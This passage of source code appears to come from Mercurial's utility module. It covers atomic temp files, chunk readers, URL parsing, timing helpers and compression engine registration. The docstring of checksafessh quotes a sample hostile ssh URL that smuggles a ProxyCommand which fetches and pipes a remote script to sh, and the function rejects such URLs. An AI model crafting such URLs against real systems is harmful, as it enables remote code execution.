         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
     def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
         self.__name = name      # permanent name
         self._tempname = mktempcopy(name, emptyok=('w' in mode),
                                     createmode=createmode,
                                     enforcewritable=('w' in mode))
 
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'): # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 def unlinkpath(f, ignoremissing=False, rmdir=True):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     if rmdir:
         # try removing directories that might now be empty
         try:
             removedirs(os.path.dirname(f))
         except OSError:
             pass
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 def readfile(path):
     with open(path, 'rb') as fp:
         return fp.read()
 
 def writefile(path, text):
     with open(path, 'wb') as fp:
         fp.write(text)
 
 def appendfile(path, text):
     with open(path, 'ab') as fp:
         fp.write(text)
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2**20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return ''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2**18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset:offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return ''.join(buf)
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 class cappedreader(object):
     """A file object proxy that allows reading up to N bytes.
 
     Given a source file object, instances of this type allow reading up to
     N bytes from that source file object. Attempts to read past the allowed
     limit are treated as EOF.
 
     It is assumed that I/O is not performed on the original file object
     in addition to I/O that is performed by this instance. If there is,
     state tracking will get out of sync and unexpected results will ensue.
     """
     def __init__(self, fh, limit):
         """Allow reading up to <limit> bytes from <fh>."""
         self._fh = fh
         self._left = limit
 
     def read(self, n=-1):
         if not self._left:
             return b''
 
         if n < 0:
             n = self._left
 
         data = self._fh.read(min(n, self._left))
         self._left -= len(data)
         assert self._left >= 0
 
         return data
 
     def readinto(self, b):
         res = self.read(len(b))
         if res is None:
             return None
 
         b[0:len(res)] = res
         return len(res)
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_("line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_("fromline must be strictly positive"))
     return fromline - 1, toline
 
 bytecount = unitcountfn(
     (100, 1 << 30, _('%.0f GB')),
     (10, 1 << 30, _('%.1f GB')),
     (1, 1 << 30, _('%.2f GB')),
     (100, 1 << 20, _('%.0f MB')),
     (10, 1 << 20, _('%.1f MB')),
     (1, 1 << 20, _('%.2f MB')),
     (100, 1 << 10, _('%.0f KB')),
     (10, 1 << 10, _('%.1f KB')),
     (1, 1 << 10, _('%.2f KB')),
     (1, 1, _('%.0f bytes')),
     )
 
 class transformingwriter(object):
     """Writable file wrapper to transform data by function"""
 
     def __init__(self, fp, encode):
         self._fp = fp
         self._encode = encode
 
     def close(self):
         self._fp.close()
 
     def flush(self):
         self._fp.flush()
 
     def write(self, data):
         return self._fp.write(self._encode(data))
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 def tolf(s):
     return _eolre.sub('\n', s)
 
 def tocrlf(s):
     return _eolre.sub('\r\n', s)
 
 def _crlfwriter(fp):
     return transformingwriter(fp, tocrlf)
 
 if pycompat.oslinesep == '\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
     nativeeolwriter = _crlfwriter
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
     nativeeolwriter = pycompat.identity
 
 if (pyplatform.python_implementation() == 'CPython' and
     sys.version_info < (3, 0)):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, '')
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = ''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if '\n' in buf:
                     splitted = line.splitlines(True)
                     line = ''
                     for l in splitted:
                         if l[-1] == '\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = '|'.join(mapping.keys())
     if escape_prefix:
         patterns += '|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(br'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(_("no port number associated with service '%s'")
                           % port)
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = "!~*'()+"
     _safepchars = "/!~*'()+:\\"
     _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = ''
         self._origpath = path
 
         if parsefragment and '#' in path:
             path, self.fragment = path.split('#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith('\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith('bundle:'):
             self.scheme = 'bundle'
             path = path[7:]
             if path.startswith('//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = ''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and '?' in path:
                 path, self.query = path.split('?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith('//'):
                 parts = path[2:].split('/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = '/' + path
 
             if self.host and '@' in self.host:
                 self.user, self.host = self.host.rsplit('@', 1)
                 if ':' in self.user:
                     self.user, self.passwd = self.user.split(':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (self.host and ':' in self.host and
                 not (self.host.startswith('[') and self.host.endswith(']'))):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(':', 1)
                 if not self.host:
                     self.host = None
 
             if (self.host and self.scheme == 'file' and
                 self.host not in ('localhost', '127.0.0.1', '[::1]')):
                 raise error.Abort(_('file:// URLs can only refer to localhost'))
 
         self.path = path
 
         # leave the query string escaped
         for a in ('user', 'passwd', 'host', 'port',
                   'path', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
                   'query', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
         return '<url %s>' % ', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == 'bundle':
                 s = 'bundle:' + s
             if self.fragment:
                 s += '#' + self.fragment
             return s
 
         s = self.scheme + ':'
         if self.user or self.passwd or self.host:
             s += '//'
         elif self.scheme and (not self.path or self.path.startswith('/')
                               or hasdriveletter(self.path)):
             s += '//'
             if hasdriveletter(self.path):
                 s += '/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += '@'
         if self.host:
             if not (self.host.startswith('[') and self.host.endswith(']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += ':' + urlreq.quote(self.port)
         if self.host:
             s += '/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += '?' + self.query
         if self.fragment is not None:
             s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host),
                     self.user, self.passwd or ''))
 
     def isabs(self):
         if self.scheme and self.scheme != 'file':
             return True # remote URL
         if hasdriveletter(self.path):
             return True # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True # Windows UNC path
         if self.path.startswith('/'):
             return True # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == 'file' or self.scheme == 'bundle':
             path = self.path or '/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + '/' + self.path
             elif (self.host is not None and self.path
                   and not hasdriveletter(path)):
                 path = '/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (not self.scheme or self.scheme == 'file'
                 or self.scheme == 'bundle')
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 def hasdriveletter(path):
     return path and path[1:2] == ':' and path[0:1].isalpha()
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
         raise error.Abort(_('potentially unsafe url: %r') %
                           (pycompat.bytestr(path),))
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = '***'
     return bytes(u)
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 timecount = unitcountfn(
     (1, 1e3, _('%.0f s')),
     (100, 1, _('%.1f s')),
     (10, 1, _('%.2f s')),
     (1, 1, _('%.3f s')),
     (100, 0.001, _('%.1f ms')),
     (10, 0.001, _('%.2f ms')),
     (1, 0.001, _('%.3f ms')),
     (100, 0.000001, _('%.1f us')),
     (10, 0.000001, _('%.2f us')),
     (1, 0.000001, _('%.3f us')),
     (100, 0.000000001, _('%.1f ns')),
     (10, 0.000000001, _('%.2f ns')),
     (1, 0.000000001, _('%.3f ns')),
     )
 
 @attr.s
 class timedcmstats(object):
     """Stats information produced by the timedcm context manager on entering."""
 
     # the starting value of the timer as a float (meaning and resulution is
     # platform dependent, see util.timer)
     start = attr.ib(default=attr.Factory(lambda: timer()))
     # the number of seconds as a floating point value; starts at 0, updated when
     # the context is exited.
     elapsed = attr.ib(default=0)
     # the number of nested timedcm context managers.
     level = attr.ib(default=1)
 
     def __bytes__(self):
         return timecount(self.elapsed) if self.elapsed else '<unknown>'
 
     __str__ = encoding.strmethod(__bytes__)
 
 @contextlib.contextmanager
 def timedcm(whencefmt, *whenceargs):
     """A context manager that produces timing information for a given context.
 
     On entering a timedcmstats instance is produced.
 
     This context manager is reentrant.
 
     """
     # track nested context managers
     timedcm._nested += 1
     timing_stats = timedcmstats(level=timedcm._nested)
     try:
         with tracing.log(whencefmt, *whenceargs):
             yield timing_stats
     finally:
         timing_stats.elapsed = timer() - timing_stats.start
         timedcm._nested -= 1
 
 timedcm._nested = 0
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
             result = func(*args, **kwargs)
         stderr = procutil.stderr
         stderr.write('%s%s: %s\n' % (
             ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
             time_stats))
         return result
     return wrapper
 
 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
               ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[:-len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_("couldn't parse size: %s") % s)
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
         for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
         ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 def debugstacktrace(msg='stacktrace', skip=0,
                     f=procutil.stderr, otherf=procutil.stdout, depth=0):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write('%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 class dirs(object):
     '''a multiset of directory names from a dirstate or manifest'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if safehasattr(map, 'iteritems') and skip is not None:
             for f, s in map.iteritems():
                 if s[0] != skip:
                     addpath(f)
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 if safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 def finddirs(path):
     pos = path.rfind('/')
     while pos != -1:
         yield path[:pos]
         pos = path.rfind('/', 0, pos)
 
 # compression code
 
 SERVERROLE = 'server'
 CLIENTROLE = 'client'
 
 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
                                                (u'name', u'serverpriority',
                                                 u'clientpriority'))
 
 class compressormanager(object):
     """Holds registrations of various compression engines.
 
     This class essentially abstracts the differences between compression
     engines to allow new compression formats to be added easily, possibly from
     extensions.
 
     Compressors are registered against the global instance by calling its
     ``register()`` method.
     """
     def __init__(self):
         self._engines = {}
         # Bundle spec human name to engine name.
         self._bundlenames = {}
         # Internal bundle identifier to engine name.
         self._bundletypes = {}
         # Revlog header to engine name.
         self._revlogheaders = {}
         # Wire proto identifier to engine name.
         self._wiretypes = {}
 
     def __getitem__(self, key):
         return self._engines[key]
 
     def __contains__(self, key):
         return key in self._engines
 
     def __iter__(self):
         return iter(self._engines.keys())
 
     def register(self, engine):
         """Register a compression engine with the manager.
 
         The argument must be a ``compressionengine`` instance.
         """
         if not isinstance(engine, compressionengine):
             raise ValueError(_('argument must be a compressionengine'))
 
         name = engine.name()
 
         if name in self._engines:
             raise error.Abort(_('compression engine %s already registered') %
                               name)
 
         bundleinfo = engine.bundletype()
         if bundleinfo:
             bundlename, bundletype = bundleinfo
 
             if bundlename in self._bundlenames:
                 raise error.Abort(_('bundle name %s already registered') %
                                   bundlename)
             if bundletype in self._bundletypes:
                 raise error.Abort(_('bundle type %s already registered by %s') %
                                   (bundletype, self._bundletypes[bundletype]))
 
             # No external facing name declared.
             if bundlename:
                 self._bundlenames[bundlename] = name
 
             self._bundletypes[bundletype] = name
 
         wiresupport = engine.wireprotosupport()
         if wiresupport:
             wiretype = wiresupport.name
             if wiretype in self._wiretypes:
                 raise error.Abort(_('wire protocol compression %s already '
                                     'registered by %s') %
                                   (wiretype, self._wiretypes[wiretype]))
 
             self._wiretypes[wiretype] = name
 
         revlogheader = engine.revlogheader()
         if revlogheader and revlogheader in self._revlogheaders:
             raise error.Abort(_('revlog header %s already registered by %s') %
                               (revlogheader, self._revlogheaders[revlogheader]))
 
         if revlogheader:
             self._revlogheaders[revlogheader] = name
 
         self._engines[name] = engine
 
     @property
     def supportedbundlenames(self):
         return set(self._bundlenames.keys())
 
     @property
     def supportedbundletypes(self):
         return set(self._bundletypes.keys())
 
     def forbundlename(self, bundlename):
         """Obtain a compression engine registered to a bundle name.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
